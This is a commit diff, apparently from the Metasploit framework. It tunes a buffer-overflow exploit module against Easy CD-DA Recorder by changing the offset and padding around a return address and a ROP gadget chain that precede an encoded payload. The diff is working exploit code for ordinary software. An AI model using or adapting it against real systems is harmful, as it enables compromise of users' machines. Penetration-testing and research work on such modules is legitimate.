Replace unnecessary NOP sled with random text
parent
184ccb9e1e
commit
12471660e9
|
@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# easycdda.exe 3.0.114.0
|
# easycdda.exe 3.0.114.0
|
||||||
# audconv.dll 7.0.815.0
|
# audconv.dll 7.0.815.0
|
||||||
{
|
{
|
||||||
'Offset' => 1108,
|
'Offset' => 1112,
|
||||||
'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll]
|
'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll]
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
|
@ -103,10 +103,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
|
0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
|
||||||
].flatten.pack('V*')
|
].flatten.pack('V*')
|
||||||
|
|
||||||
sploit = rop_nops(target['Offset'] / 4)
|
sploit = rand_text_alpha_upper(target['Offset'])
|
||||||
sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll]
|
|
||||||
sploit << [target.ret].pack("V")
|
sploit << [target.ret].pack("V")
|
||||||
sploit << rop_nops(22)
|
sploit << rand_text_alpha_upper(56)
|
||||||
|
sploit << rop_nops(8)
|
||||||
sploit << rop_gadgets
|
sploit << rop_gadgets
|
||||||
sploit << make_nops(4)
|
sploit << make_nops(4)
|
||||||
sploit << payload.encoded
|
sploit << payload.encoded
|
||||||
|
|
Loading…
Reference in New Issue